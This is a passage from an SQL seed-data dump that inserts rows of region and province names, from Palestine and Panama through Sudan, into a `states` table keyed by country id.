'Dayr-al-Balah', 168, NULL, NULL), (2750, 'Ghazzah', 168, NULL, NULL), (2751, 'Ghazzah ash-Shamaliyah', 168, NULL, NULL), (2752, 'Janin', 168, NULL, NULL), (2753, 'Khan Yunis', 168, NULL, NULL), (2754, 'Nabulus', 168, NULL, NULL), (2755, 'Qalqilyah', 168, NULL, NULL), (2756, 'Rafah', 168, NULL, NULL), (2757, 'Ram Allah wal-Birah', 168, NULL, NULL), (2758, 'Salfit', 168, NULL, NULL), (2759, 'Tubas', 168, NULL, NULL), (2760, 'Tulkarm', 168, NULL, NULL), (2761, 'al-Khalil', 168, NULL, NULL), (2762, 'al-Quds', 168, NULL, NULL), (2763, 'Bocas del Toro', 169, NULL, NULL), (2764, 'Chiriqui', 169, NULL, NULL), (2765, 'Cocle', 169, NULL, NULL), (2766, 'Colon', 169, NULL, NULL), (2767, 'Darien', 169, NULL, NULL), (2768, 'Embera', 169, NULL, NULL), (2769, 'Herrera', 169, NULL, NULL), (2770, 'Kuna Yala', 169, NULL, NULL), (2771, 'Los Santos', 169, NULL, NULL), (2772, 'Ngobe Bugle', 169, NULL, NULL), (2773, 'Panama', 169, NULL, NULL), (2774, 'Veraguas', 169, NULL, NULL), (2775, 'East New Britain', 170, NULL, NULL), (2776, 'East Sepik', 170, NULL, NULL), (2777, 'Eastern Highlands', 170, NULL, NULL), (2778, 'Enga', 170, NULL, NULL), (2779, 'Fly River', 170, NULL, NULL), (2780, 'Gulf', 170, NULL, NULL), (2781, 'Madang', 170, NULL, NULL), (2782, 'Manus', 170, NULL, NULL), (2783, 'Milne Bay', 170, NULL, NULL), (2784, 'Morobe', 170, NULL, NULL), (2785, 'National Capital District', 170, NULL, NULL), (2786, 'New Ireland', 170, NULL, NULL), (2787, 'North Solomons', 170, NULL, NULL), (2788, 'Oro', 170, NULL, NULL), (2789, 'Sandaun', 170, NULL, NULL), (2790, 'Simbu', 170, NULL, NULL), (2791, 'Southern Highlands', 170, NULL, NULL), (2792, 'West New Britain', 170, NULL, NULL), (2793, 'Western Highlands', 170, NULL, NULL), (2794, 'Alto Paraguay', 171, NULL, NULL), (2795, 'Alto Parana', 171, NULL, NULL), (2796, 'Amambay', 171, NULL, NULL), (2797, 'Asuncion', 171, NULL, NULL), (2798, 'Boqueron', 171, NULL, NULL), (2799, 'Caaguazu', 171, NULL, NULL), (2800, 'Caazapa', 171, NULL, NULL), (2801, 'Canendiyu', 171, NULL, NULL), (2802, 'Central', 171, NULL, NULL), (2803, 'Concepcion', 171, NULL, NULL), (2804, 'Cordillera', 171, NULL, NULL), (2805, 'Guaira', 171, NULL, NULL), (2806, 'Itapua', 171, NULL, NULL), (2807, 'Misiones', 171, NULL, NULL), (2808, 'Neembucu', 171, NULL, NULL), (2809, 'Paraguari', 171, NULL, NULL), (2810, 'Presidente Hayes', 171, NULL, NULL), (2811, 'San Pedro', 171, NULL, NULL), (2812, 'Amazonas', 172, NULL, NULL), (2813, 'Ancash', 172, NULL, NULL), (2814, 'Apurimac', 172, NULL, NULL), (2815, 'Arequipa', 172, NULL, NULL), (2816, 'Ayacucho', 172, NULL, NULL), (2817, 'Cajamarca', 172, NULL, NULL), (2818, 'Cusco', 172, NULL, NULL), (2819, 'Huancavelica', 172, NULL, NULL), (2820, 'Huanuco', 172, NULL, NULL), (2821, 'Ica', 172, NULL, NULL), (2822, 'Junin', 172, NULL, NULL), (2823, 'La Libertad', 172, NULL, NULL), (2824, 'Lambayeque', 172, NULL, NULL), (2825, 'Lima y Callao', 172, NULL, NULL), (2826, 'Loreto', 172, NULL, NULL), (2827, 'Madre de Dios', 172, NULL, NULL), (2828, 'Moquegua', 172, NULL, NULL), (2829, 'Pasco', 172, NULL, NULL), (2830, 'Piura', 172, NULL, NULL), (2831, 'Puno', 172, NULL, NULL), (2832, 'San Martin', 172, NULL, NULL), (2833, 'Tacna', 172, NULL, NULL), (2834, 'Tumbes', 172, NULL, NULL), (2835, 'Ucayali', 172, NULL, NULL), (2836, 'Batangas', 173, NULL, NULL), (2837, 'Bicol', 173, NULL, NULL), (2838, 'Bulacan', 173, NULL, NULL), (2839, 'Cagayan', 173, NULL, NULL), (2840, 'Caraga', 173, NULL, NULL), (2841, 'Central Luzon', 173, NULL, NULL), (2842, 'Central Mindanao', 173, NULL, NULL), (2843, 'Central Visayas', 173, NULL, NULL), (2844, 'Cordillera', 173, NULL, NULL), (2845, 'Davao', 173, NULL, NULL), (2846, 'Eastern Visayas', 173, NULL, NULL), (2847, 'Greater Metropolitan Area', 173, NULL, NULL), (2848, 'Ilocos', 173, NULL, NULL), (2849, 'Laguna', 173, NULL, NULL), (2850, 'Luzon', 173, NULL, NULL), (2851, 'Mactan', 173, NULL, NULL), (2852, 'Metropolitan Manila Area', 173, NULL, NULL), (2853, 'Muslim Mindanao', 173, NULL, NULL), (2854, 'Northern Mindanao', 173, NULL, NULL), (2855, 'Southern Mindanao', 173, NULL, NULL), (2856, 'Southern Tagalog', 173, NULL, NULL), (2857, 'Western Mindanao', 173, NULL, NULL), (2858, 'Western Visayas', 173, NULL, NULL), (2859, 'Pitcairn Island', 174, NULL, NULL), (2860, 'Biale Blota', 175, NULL, NULL), (2861, 'Dobroszyce', 175, NULL, NULL), (2862, 'Dolnoslaskie', 175, NULL, NULL), (2863, 'Dziekanow Lesny', 175, NULL, NULL), (2864, 'Hopowo', 175, NULL, NULL), (2865, 'Kartuzy', 175, NULL, NULL), (2866, 'Koscian', 175, NULL, NULL), (2867, 'Krakow', 175, NULL, NULL), (2868, 'Kujawsko-Pomorskie', 175, NULL, NULL), (2869, 'Lodzkie', 175, NULL, NULL), (2870, 'Lubelskie', 175, NULL, NULL), (2871, 'Lubuskie', 175, NULL, NULL), (2872, 'Malomice', 175, NULL, NULL), (2873, 'Malopolskie', 175, NULL, NULL), (2874, 'Mazowieckie', 175, NULL, NULL), (2875, 'Mirkow', 175, NULL, NULL), (2876, 'Opolskie', 175, NULL, NULL), (2877, 'Ostrowiec', 175, NULL, NULL), (2878, 'Podkarpackie', 175, NULL, NULL), (2879, 'Podlaskie', 175, NULL, NULL), (2880, 'Polska', 175, NULL, NULL), (2881, 'Pomorskie', 175, NULL, NULL), (2882, 'Poznan', 175, NULL, NULL), (2883, 'Pruszkow', 175, NULL, NULL), (2884, 'Rymanowska', 175, NULL, NULL), (2885, 'Rzeszow', 175, NULL, NULL), (2886, 'Slaskie', 175, NULL, NULL), (2887, 'Stare Pole', 175, NULL, NULL), (2888, 'Swietokrzyskie', 175, NULL, NULL), (2889, 'Warminsko-Mazurskie', 175, NULL, NULL), (2890, 'Warsaw', 175, NULL, NULL), (2891, 'Wejherowo', 175, NULL, NULL), (2892, 'Wielkopolskie', 175, NULL, NULL), (2893, 'Wroclaw', 175, NULL, NULL), (2894, 'Zachodnio-Pomorskie', 175, NULL, NULL), (2895, 'Zukowo', 175, NULL, NULL), (2896, 'Abrantes', 176, NULL, NULL), (2897, 'Acores', 176, NULL, NULL), (2898, 'Alentejo', 176, NULL, NULL), (2899, 'Algarve', 176, NULL, NULL), (2900, 'Braga', 176, NULL, NULL), (2901, 'Centro', 176, NULL, NULL), (2902, 'Distrito de Leiria', 176, NULL, NULL), (2903, 'Distrito de Viana do Castelo', 176, NULL, NULL), (2904, 'Distrito de Vila Real', 176, NULL, NULL), (2905, 'Distrito do Porto', 176, NULL, NULL), (2906, 'Lisboa e Vale do Tejo', 176, NULL, NULL), (2907, 'Madeira', 176, NULL, NULL), (2908, 'Norte', 176, NULL, NULL), (2909, 'Paivas', 176, NULL, NULL), (2910, 'Arecibo', 177, NULL, NULL), (2911, 'Bayamon', 177, NULL, NULL), (2912, 'Carolina', 177, NULL, NULL), (2913, 'Florida', 177, NULL, NULL), (2914, 'Guayama', 177, NULL, NULL), (2915, 'Humacao', 177, NULL, NULL), (2916, 'Mayaguez-Aguadilla', 177, NULL, NULL), (2917, 'Ponce', 177, NULL, NULL), (2918, 'Salinas', 177, NULL, NULL), (2919, 'San Juan', 177, NULL, NULL), (2920, 'Doha', 178, NULL, NULL), (2921, 'Jarian-al-Batnah', 178, NULL, NULL), (2922, 'Umm Salal', 178, NULL, NULL), (2923, 'ad-Dawhah', 178, NULL, NULL), (2924, 'al-Ghuwayriyah', 178, NULL, NULL), (2925, 'al-Jumayliyah', 178, NULL, NULL), (2926, 'al-Khawr', 178, NULL, NULL), (2927, 'al-Wakrah', 178, NULL, NULL), (2928, 'ar-Rayyan', 178, NULL, NULL), (2929, 'ash-Shamal', 178, NULL, NULL), (2930, 'Saint-Benoit', 179, NULL, NULL), (2931, 'Saint-Denis', 179, NULL, NULL), (2932, 'Saint-Paul', 179, NULL, NULL), (2933, 'Saint-Pierre', 179, NULL, NULL), (2934, 'Alba', 180, NULL, NULL), (2935, 'Arad', 180, NULL, NULL), (2936, 'Arges', 180, NULL, NULL), (2937, 'Bacau', 180, NULL, NULL), (2938, 'Bihor', 180, NULL, NULL), (2939, 'Bistrita-Nasaud', 180, NULL, NULL), (2940, 'Botosani', 180, NULL, NULL), (2941, 'Braila', 180, NULL, NULL), (2942, 'Brasov', 180, NULL, NULL), (2943, 'Bucuresti', 180, NULL, NULL), (2944, 'Buzau', 180, NULL, NULL), (2945, 'Calarasi', 180, NULL, NULL), (2946, 'Caras-Severin', 180, NULL, NULL), (2947, 'Cluj', 180, NULL, NULL), (2948, 'Constanta', 180, NULL, NULL), (2949, 'Covasna', 180, NULL, NULL), (2950, 'Dambovita', 180, NULL, NULL), (2951, 'Dolj', 180, NULL, NULL), (2952, 'Galati', 180, NULL, NULL), (2953, 'Giurgiu', 180, NULL, NULL), (2954, 'Gorj', 180, NULL, NULL), (2955, 'Harghita', 180, NULL, NULL), (2956, 'Hunedoara', 180, NULL, NULL), (2957, 'Ialomita', 180, NULL, NULL), (2958, 'Iasi', 180, NULL, NULL), (2959, 'Ilfov', 180, NULL, NULL), (2960, 'Maramures', 180, NULL, NULL), (2961, 'Mehedinti', 180, NULL, NULL), (2962, 'Mures', 180, NULL, NULL), (2963, 'Neamt', 180, NULL, NULL), (2964, 'Olt', 180, NULL, NULL), (2965, 'Prahova', 180, NULL, NULL), (2966, 'Salaj', 180, NULL, NULL), (2967, 'Satu Mare', 180, NULL, NULL), (2968, 'Sibiu', 180, NULL, NULL), (2969, 'Sondelor', 180, NULL, NULL), (2970, 'Suceava', 180, NULL, NULL), (2971, 'Teleorman', 180, NULL, NULL), (2972, 'Timis', 180, NULL, NULL), (2973, 'Tulcea', 180, NULL, NULL), (2974, 'Valcea', 180, NULL, NULL), (2975, 'Vaslui', 180, NULL, NULL), (2976, 'Vrancea', 180, NULL, NULL), (2977, 'Adygeja', 181, NULL, NULL), (2978, 'Aga', 181, NULL, NULL), (2979, 'Alanija', 181, NULL, NULL), (2980, 'Altaj', 181, NULL, NULL), (2981, 'Amur', 181, NULL, NULL), (2982, 'Arhangelsk', 181, NULL, NULL), (2983, 'Astrahan', 181, NULL, NULL), (2984, 'Bashkortostan', 181, NULL, NULL), (2985, 'Belgorod', 181, NULL, NULL), (2986, 'Brjansk', 181, NULL, NULL), (2987, 'Burjatija', 181, NULL, NULL), (2988, 'Chechenija', 181, NULL, NULL), (2989, 'Cheljabinsk', 181, NULL, NULL), (2990, 'Chita', 181, NULL, NULL), (2991, 'Chukotka', 181, NULL, NULL), (2992, 'Chuvashija', 181, NULL, NULL), (2993, 'Dagestan', 181, NULL, NULL), (2994, 'Evenkija', 181, NULL, NULL), (2995, 'Gorno-Altaj', 181, NULL, NULL), (2996, 'Habarovsk', 181, NULL, NULL), (2997, 'Hakasija', 181, NULL, NULL), (2998, 'Hanty-Mansija', 181, NULL, NULL), (2999, 'Ingusetija', 181, NULL, NULL), (3000, 'Irkutsk', 181, NULL, NULL), (3001, 'Ivanovo', 181, NULL, NULL), (3002, 'Jamalo-Nenets', 181, NULL, NULL), (3003, 'Jaroslavl', 181, NULL, NULL), (3004, 'Jevrej', 181, NULL, NULL), (3005, 'Kabardino-Balkarija', 181, NULL, NULL); INSERT INTO `states` (`id`, `name`, `country_id`, `created_at`, `updated_at`) VALUES (3006, 'Kaliningrad', 181, NULL, NULL), (3007, 'Kalmykija', 181, NULL, NULL), (3008, 'Kaluga', 181, NULL, NULL), (3009, 'Kamchatka', 181, NULL, NULL), (3010, 'Karachaj-Cherkessija', 181, NULL, NULL), (3011, 'Karelija', 181, NULL, NULL), (3012, 'Kemerovo', 181, NULL, NULL), (3013, 'Khabarovskiy Kray', 181, NULL, NULL), (3014, 'Kirov', 181, NULL, NULL), (3015, 'Komi', 181, NULL, NULL), (3016, 'Komi-Permjakija', 181, NULL, NULL), (3017, 'Korjakija', 181, NULL, NULL), (3018, 'Kostroma', 181, NULL, NULL), (3019, 'Krasnodar', 181, NULL, NULL), (3020, 'Krasnojarsk', 181, NULL, NULL), (3021, 'Krasnoyarskiy Kray', 181, NULL, NULL), (3022, 'Kurgan', 181, NULL, NULL), (3023, 'Kursk', 181, NULL, NULL), (3024, 'Leningrad', 181, NULL, NULL), (3025, 'Lipeck', 181, NULL, NULL), (3026, 'Magadan', 181, NULL, NULL), (3027, 'Marij El', 181, NULL, NULL), (3028, 'Mordovija', 181, NULL, NULL), (3029, 'Moscow', 181, NULL, NULL), (3030, 'Moskovskaja Oblast', 181, NULL, NULL), (3031, 'Moskovskaya Oblast', 181, NULL, NULL), (3032, 'Moskva', 181, NULL, NULL), (3033, 'Murmansk', 181, NULL, NULL), (3034, 'Nenets', 181, NULL, NULL), (3035, 'Nizhnij Novgorod', 181, NULL, NULL), (3036, 'Novgorod', 181, NULL, NULL), (3037, 'Novokusnezk', 181, NULL, NULL), (3038, 'Novosibirsk', 181, NULL, NULL), (3039, 'Omsk', 181, NULL, NULL), (3040, 'Orenburg', 181, NULL, NULL), (3041, 'Orjol', 181, NULL, NULL), (3042, 'Penza', 181, NULL, NULL), (3043, 'Perm', 181, NULL, NULL), (3044, 'Primorje', 181, NULL, NULL), (3045, 'Pskov', 181, NULL, NULL), (3046, 'Pskovskaya Oblast', 181, NULL, NULL), (3047, 'Rjazan', 181, NULL, NULL), (3048, 'Rostov', 181, NULL, NULL), (3049, 'Saha', 181, NULL, NULL), (3050, 'Sahalin', 181, NULL, NULL), (3051, 'Samara', 181, NULL, NULL), (3052, 'Samarskaya', 181, NULL, NULL), (3053, 'Sankt-Peterburg', 181, NULL, NULL), (3054, 'Saratov', 181, NULL, NULL), (3055, 'Smolensk', 181, NULL, NULL), (3056, 'Stavropol', 181, NULL, NULL), (3057, 'Sverdlovsk', 181, NULL, NULL), (3058, 'Tajmyrija', 181, NULL, NULL), (3059, 'Tambov', 181, NULL, NULL), (3060, 'Tatarstan', 181, NULL, NULL), (3061, 'Tjumen', 181, NULL, NULL), (3062, 'Tomsk', 181, NULL, NULL), (3063, 'Tula', 181, NULL, NULL), (3064, 'Tver', 181, NULL, NULL), (3065, 'Tyva', 181, NULL, NULL), (3066, 'Udmurtija', 181, NULL, NULL), (3067, 'Uljanovsk', 181, NULL, NULL), (3068, 'Ulyanovskaya Oblast', 181, NULL, NULL), (3069, 'Ust-Orda', 181, NULL, NULL), (3070, 'Vladimir', 181, NULL, NULL), (3071, 'Volgograd', 181, NULL, NULL), (3072, 'Vologda', 181, NULL, NULL), (3073, 'Voronezh', 181, NULL, NULL), (3074, 'Butare', 182, NULL, NULL), (3075, 'Byumba', 182, NULL, NULL), (3076, 'Cyangugu', 182, NULL, NULL), (3077, 'Gikongoro', 182, NULL, NULL), (3078, 'Gisenyi', 182, NULL, NULL), (3079, 'Gitarama', 182, NULL, NULL), (3080, 'Kibungo', 182, NULL, NULL), (3081, 'Kibuye', 182, NULL, NULL), (3082, 'Kigali-ngali', 182, NULL, NULL), (3083, 'Ruhengeri', 182, NULL, NULL), (3084, 'Ascension', 183, NULL, NULL), (3085, 'Gough Island', 183, NULL, NULL), (3086, 'Saint Helena', 183, NULL, NULL), (3087, 'Tristan da Cunha', 183, NULL, NULL), (3088, 'Christ Church Nichola Town', 184, NULL, NULL), (3089, 'Saint Anne Sandy Point', 184, NULL, NULL), (3090, 'Saint George Basseterre', 184, NULL, NULL), (3091, 'Saint George Gingerland', 184, NULL, NULL), (3092, 'Saint James Windward', 184, NULL, NULL), (3093, 'Saint John Capesterre', 184, NULL, NULL), (3094, 'Saint John Figtree', 184, NULL, NULL), (3095, 'Saint Mary Cayon', 184, NULL, NULL), (3096, 'Saint Paul Capesterre', 184, NULL, NULL), (3097, 'Saint Paul Charlestown', 184, NULL, NULL), (3098, 'Saint Peter Basseterre', 184, NULL, NULL), (3099, 'Saint Thomas Lowland', 184, NULL, NULL), (3100, 'Saint Thomas Middle Island', 184, NULL, NULL), (3101, 'Trinity Palmetto Point', 184, NULL, NULL), (3102, 'Anse-la-Raye', 185, NULL, NULL), (3103, 'Canaries', 185, NULL, NULL), (3104, 'Castries', 185, NULL, NULL), (3105, 'Choiseul', 185, NULL, NULL), (3106, 'Dennery', 185, NULL, NULL), (3107, 'Gros Inlet', 185, NULL, NULL), (3108, 'Laborie', 185, NULL, NULL), (3109, 'Micoud', 185, NULL, NULL), (3110, 'Soufriere', 185, NULL, NULL), (3111, 'Vieux Fort', 185, NULL, NULL), (3112, 'Miquelon-Langlade', 186, NULL, NULL), (3113, 'Saint-Pierre', 186, NULL, NULL), (3114, 'Charlotte', 187, NULL, NULL), (3115, 'Grenadines', 187, NULL, NULL), (3116, 'Saint Andrew', 187, NULL, NULL), (3117, 'Saint David', 187, NULL, NULL), (3118, 'Saint George', 187, NULL, NULL), (3119, 'Saint Patrick', 187, NULL, NULL), (3120, 'A\'\'ana', 188, NULL, NULL), (3121, 'Aiga-i-le-Tai', 188, NULL, NULL), (3122, 'Atua', 188, NULL, NULL), (3123, 'Fa\'\'asaleleaga', 188, NULL, NULL), (3124, 'Gaga\'\'emauga', 188, NULL, NULL), (3125, 'Gagaifomauga', 188, NULL, NULL), (3126, 'Palauli', 188, NULL, NULL), (3127, 'Satupa\'\'itea', 188, NULL, NULL), (3128, 'Tuamasaga', 188, NULL, NULL), (3129, 'Va\'\'a-o-Fonoti', 188, NULL, NULL), (3130, 'Vaisigano', 188, NULL, NULL), (3131, 'Acquaviva', 189, NULL, NULL), (3132, 'Borgo Maggiore', 189, NULL, NULL), (3133, 'Chiesanuova', 189, NULL, NULL), (3134, 'Domagnano', 189, NULL, NULL), (3135, 'Faetano', 189, NULL, NULL), (3136, 'Fiorentino', 189, NULL, NULL), (3137, 'Montegiardino', 189, NULL, NULL), (3138, 'San Marino', 189, NULL, NULL), (3139, 'Serravalle', 189, NULL, NULL), (3140, 'Agua Grande', 190, NULL, NULL), (3141, 'Cantagalo', 190, NULL, NULL), (3142, 'Lemba', 190, NULL, NULL), (3143, 'Lobata', 190, NULL, NULL), (3144, 'Me-Zochi', 190, NULL, NULL), (3145, 'Pague', 190, NULL, NULL), (3146, 'Al Khobar', 191, NULL, NULL), (3147, 'Aseer', 191, NULL, NULL), (3148, 'Ash Sharqiyah', 191, NULL, NULL), (3149, 'Asir', 191, NULL, NULL), (3150, 'Central Province', 191, NULL, NULL), (3151, 'Eastern Province', 191, NULL, NULL), (3152, 'Ha\'\'il', 191, NULL, NULL), (3153, 'Jawf', 191, NULL, NULL), (3154, 'Jizan', 191, NULL, NULL), (3155, 'Makkah', 191, NULL, NULL), (3156, 'Najran', 191, NULL, NULL), (3157, 'Qasim', 191, NULL, NULL), (3158, 'Tabuk', 191, NULL, NULL), (3159, 'Western Province', 191, NULL, NULL), (3160, 'al-Bahah', 191, NULL, NULL), (3161, 'al-Hudud-ash-Shamaliyah', 191, NULL, NULL), (3162, 'al-Madinah', 191, NULL, NULL), (3163, 'ar-Riyad', 191, NULL, NULL), (3164, 'Dakar', 192, NULL, NULL), (3165, 'Diourbel', 192, NULL, NULL), (3166, 'Fatick', 192, NULL, NULL), (3167, 'Kaolack', 192, NULL, NULL), (3168, 'Kolda', 192, NULL, NULL), (3169, 'Louga', 192, NULL, NULL), (3170, 'Saint-Louis', 192, NULL, NULL), (3171, 'Tambacounda', 192, NULL, NULL), (3172, 'Thies', 192, NULL, NULL), (3173, 'Ziguinchor', 192, NULL, NULL), (3174, 'Central Serbia', 193, NULL, NULL), (3175, 'Kosovo and Metohija', 193, NULL, NULL), (3176, 'Vojvodina', 193, NULL, NULL), (3177, 'Anse Boileau', 194, NULL, NULL), (3178, 'Anse Royale', 194, NULL, NULL), (3179, 'Cascade', 194, NULL, NULL), (3180, 'Takamaka', 194, NULL, NULL), (3181, 'Victoria', 194, NULL, NULL), (3182, 'Eastern', 195, NULL, NULL), (3183, 'Northern', 195, NULL, NULL), (3184, 'Southern', 195, NULL, NULL), (3185, 'Western', 195, NULL, NULL), (3186, 'Singapore', 196, NULL, NULL), (3187, 'Banskobystricky', 197, NULL, NULL), (3188, 'Bratislavsky', 197, NULL, NULL), (3189, 'Kosicky', 197, NULL, NULL), (3190, 'Nitriansky', 197, NULL, NULL), (3191, 'Presovsky', 197, NULL, NULL), (3192, 'Trenciansky', 197, NULL, NULL), (3193, 'Trnavsky', 197, NULL, NULL), (3194, 'Zilinsky', 197, NULL, NULL), (3195, 'Benedikt', 198, NULL, NULL), (3196, 'Gorenjska', 198, NULL, NULL), (3197, 'Gorishka', 198, NULL, NULL), (3198, 'Jugovzhodna Slovenija', 198, NULL, NULL), (3199, 'Koroshka', 198, NULL, NULL), (3200, 'Notranjsko-krashka', 198, NULL, NULL), (3201, 'Obalno-krashka', 198, NULL, NULL), (3202, 'Obcina Domzale', 198, NULL, NULL), (3203, 'Obcina Vitanje', 198, NULL, NULL), (3204, 'Osrednjeslovenska', 198, NULL, NULL), (3205, 'Podravska', 198, NULL, NULL), (3206, 'Pomurska', 198, NULL, NULL), (3207, 'Savinjska', 198, NULL, NULL), (3208, 'Slovenian Littoral', 198, NULL, NULL), (3209, 'Spodnjeposavska', 198, NULL, NULL), (3210, 'Zasavska', 198, NULL, NULL), (3211, 'Pitcairn', 199, NULL, NULL), (3212, 'Central', 200, NULL, NULL), (3213, 'Choiseul', 200, NULL, NULL), (3214, 'Guadalcanal', 200, NULL, NULL), (3215, 'Isabel', 200, NULL, NULL), (3216, 'Makira and Ulawa', 200, NULL, NULL), (3217, 'Malaita', 200, NULL, NULL), (3218, 'Rennell and Bellona', 200, NULL, NULL), (3219, 'Temotu', 200, NULL, NULL), (3220, 'Western', 200, NULL, NULL), (3221, 'Awdal', 201, NULL, NULL), (3222, 'Bakol', 201, NULL, NULL), (3223, 'Banadir', 201, NULL, NULL), (3224, 'Bari', 201, NULL, NULL), (3225, 'Bay', 201, NULL, NULL), (3226, 'Galgudug', 201, NULL, NULL), (3227, 'Gedo', 201, NULL, NULL), (3228, 'Hiran', 201, NULL, NULL), (3229, 'Jubbada Hose', 201, NULL, NULL), (3230, 'Jubbadha Dexe', 201, NULL, NULL), (3231, 'Mudug', 201, NULL, NULL), (3232, 'Nugal', 201, NULL, NULL), (3233, 'Sanag', 201, NULL, NULL), (3234, 'Shabellaha Dhexe', 201, NULL, NULL), (3235, 'Shabellaha Hose', 201, NULL, NULL), (3236, 'Togdher', 201, NULL, NULL), (3237, 'Woqoyi Galbed', 201, NULL, NULL), (3238, 'Eastern Cape', 202, NULL, NULL), (3239, 'Free State', 202, NULL, NULL), (3240, 'Gauteng', 202, NULL, NULL), (3241, 'Kempton Park', 202, NULL, NULL), (3242, 'Kramerville', 202, NULL, NULL), (3243, 'KwaZulu Natal', 202, NULL, NULL), (3244, 'Limpopo', 202, NULL, NULL), (3245, 'Mpumalanga', 202, NULL, NULL), (3246, 'North West', 202, NULL, NULL), (3247, 'Northern Cape', 202, NULL, NULL), (3248, 'Parow', 202, NULL, NULL), (3249, 'Table View', 202, NULL, NULL), (3250, 'Umtentweni', 202, NULL, NULL), (3251, 'Western Cape', 202, NULL, NULL), (3252, 'South Georgia', 203, NULL, NULL), (3253, 'Central Equatoria', 204, NULL, NULL), (3254, 'A Coruna', 205, NULL, NULL), (3255, 'Alacant', 205, NULL, NULL), (3256, 'Alava', 205, NULL, NULL), (3257, 'Albacete', 205, NULL, NULL), (3258, 'Almeria', 205, NULL, NULL), (3259, 'Andalucia', 205, NULL, NULL), (3260, 'Asturias', 205, NULL, NULL), (3261, 'Avila', 205, NULL, NULL), (3262, 'Badajoz', 205, NULL, NULL), (3263, 'Balears', 205, NULL, NULL), (3264, 'Barcelona', 205, NULL, NULL), (3265, 'Bertamirans', 205, NULL, NULL), (3266, 'Biscay', 205, NULL, NULL), (3267, 'Burgos', 205, NULL, NULL), (3268, 'Caceres', 205, NULL, NULL), (3269, 'Cadiz', 205, NULL, NULL), (3270, 'Cantabria', 205, NULL, NULL), (3271, 'Castello', 205, NULL, NULL), (3272, 'Catalunya', 205, NULL, NULL), (3273, 'Ceuta', 205, NULL, NULL), (3274, 'Ciudad Real', 205, NULL, NULL), (3275, 'Comunidad Autonoma de Canarias', 205, NULL, NULL), (3276, 'Comunidad Autonoma de Cataluna', 205, NULL, NULL), (3277, 'Comunidad Autonoma de Galicia', 205, NULL, NULL), (3278, 'Comunidad Autonoma de las Isla', 205, NULL, NULL), (3279, 'Comunidad Autonoma del Princip', 205, NULL, NULL), (3280, 'Comunidad Valenciana', 205, NULL, NULL), (3281, 'Cordoba', 205, NULL, NULL), (3282, 'Cuenca', 205, NULL, NULL), (3283, 'Gipuzkoa', 205, NULL, NULL), (3284, 'Girona', 205, NULL, NULL), (3285, 'Granada', 205, NULL, NULL), (3286, 'Guadalajara', 205, NULL, NULL), (3287, 'Guipuzcoa', 205, NULL, NULL), (3288, 'Huelva', 205, NULL, NULL), (3289, 'Huesca', 205, NULL, NULL), (3290, 'Jaen', 205, NULL, NULL), (3291, 'La Rioja', 205, NULL, NULL), (3292, 'Las Palmas', 205, NULL, NULL), (3293, 'Leon', 205, NULL, NULL), (3294, 'Lerida', 205, NULL, NULL), (3295, 'Lleida', 205, NULL, NULL), (3296, 'Lugo', 205, NULL, NULL), (3297, 'Madrid', 205, NULL, NULL), (3298, 'Malaga', 205, NULL, NULL), (3299, 'Melilla', 205, NULL, NULL), (3300, 'Murcia', 205, NULL, NULL), (3301, 'Navarra', 205, NULL, NULL), (3302, 'Ourense', 205, NULL, NULL), (3303, 'Pais Vasco', 205, NULL, NULL), (3304, 'Palencia', 205, NULL, NULL), (3305, 'Pontevedra', 205, NULL, NULL), (3306, 'Salamanca', 205, NULL, NULL), (3307, 'Santa Cruz de Tenerife', 205, NULL, NULL), (3308, 'Segovia', 205, NULL, NULL), (3309, 'Sevilla', 205, NULL, NULL), (3310, 'Soria', 205, NULL, NULL), (3311, 'Tarragona', 205, NULL, NULL), (3312, 'Tenerife', 205, NULL, NULL), (3313, 'Teruel', 205, NULL, NULL), (3314, 'Toledo', 205, NULL, NULL), (3315, 'Valencia', 205, NULL, NULL), (3316, 'Valladolid', 205, NULL, NULL), (3317, 'Vizcaya', 205, NULL, NULL), (3318, 'Zamora', 205, NULL, NULL), (3319, 'Zaragoza', 205, NULL, NULL), (3320, 'Amparai', 206, NULL, NULL), (3321, 'Anuradhapuraya', 206, NULL, NULL), (3322, 'Badulla', 206, NULL, NULL), (3323, 'Boralesgamuwa', 206, NULL, NULL), (3324, 'Colombo', 206, NULL, NULL), (3325, 'Galla', 206, NULL, NULL), (3326, 'Gampaha', 206, NULL, NULL), (3327, 'Hambantota', 206, NULL, NULL), (3328, 'Kalatura', 206, NULL, NULL), (3329, 'Kegalla', 206, NULL, NULL), (3330, 'Kilinochchi', 206, NULL, NULL), (3331, 'Kurunegala', 206, NULL, NULL), (3332, 'Madakalpuwa', 206, NULL, NULL), (3333, 'Maha Nuwara', 206, NULL, NULL), (3334, 'Malwana', 206, NULL, NULL), (3335, 'Mannarama', 206, NULL, NULL), (3336, 'Matale', 206, NULL, NULL), (3337, 'Matara', 206, NULL, NULL), (3338, 'Monaragala', 206, NULL, NULL), (3339, 'Mullaitivu', 206, NULL, NULL), (3340, 'North Eastern Province', 206, NULL, NULL), (3341, 'North Western Province', 206, NULL, NULL), (3342, 'Nuwara Eliya', 206, NULL, NULL), (3343, 'Polonnaruwa', 206, NULL, NULL), (3344, 'Puttalama', 206, NULL, NULL), (3345, 'Ratnapuraya', 206, NULL, NULL), (3346, 'Southern Province', 206, NULL, NULL), (3347, 'Tirikunamalaya', 206, NULL, NULL), (3348, 'Tuscany', 206, NULL, NULL), (3349, 'Vavuniyawa', 206, NULL, NULL), (3350, 'Western Province', 206, NULL, NULL), (3351, 'Yapanaya', 206, NULL, NULL), (3352, 'kadawatha', 206, NULL, NULL), (3353, 'A\'\'ali-an-Nil', 207, NULL, NULL), (3354, 'Bahr-al-Jabal', 207, NULL, NULL), (3355, 'Central Equatoria', 207, NULL, NULL), (3356, 'Gharb Bahr-al-Ghazal', 207, NULL, NULL), (3357, 'Gharb Darfur', 207, NULL, NULL), (3358, 'Gharb Kurdufan', 207, NULL, NULL), (3359, 'Gharb-al-Istiwa\'\'iyah', 207, NULL, NULL), (3360, 'Janub Darfur', 207, NULL, NULL), (3361, 'Janub Kurdufan', 207, NULL, NULL), (3362, 'Junqali', 207, NULL, NULL), (3363, 'Kassala', 207, NULL, NULL), (3364, 'Nahr-an-Nil', 207, NULL, NULL), (3365, 'Shamal Bahr-al-Ghazal', 207, NULL, NULL), (3366, 'Shamal Darfur', 207, NULL, NULL), (3367, 'Shamal Kurdufan', 207, NULL, NULL), (3368, 'Sharq-al-Istiwa\'\'iyah', 207, NULL, NULL), (3369, 'Sinnar', 207, NULL, NULL), (3370, 'Warab', 207, NULL, NULL), (3371, 'Wilayat al Khartum', 207, NULL, NULL), (3372, 'al-Bahr-al-Ahmar', 207, NULL, NULL), (3373, 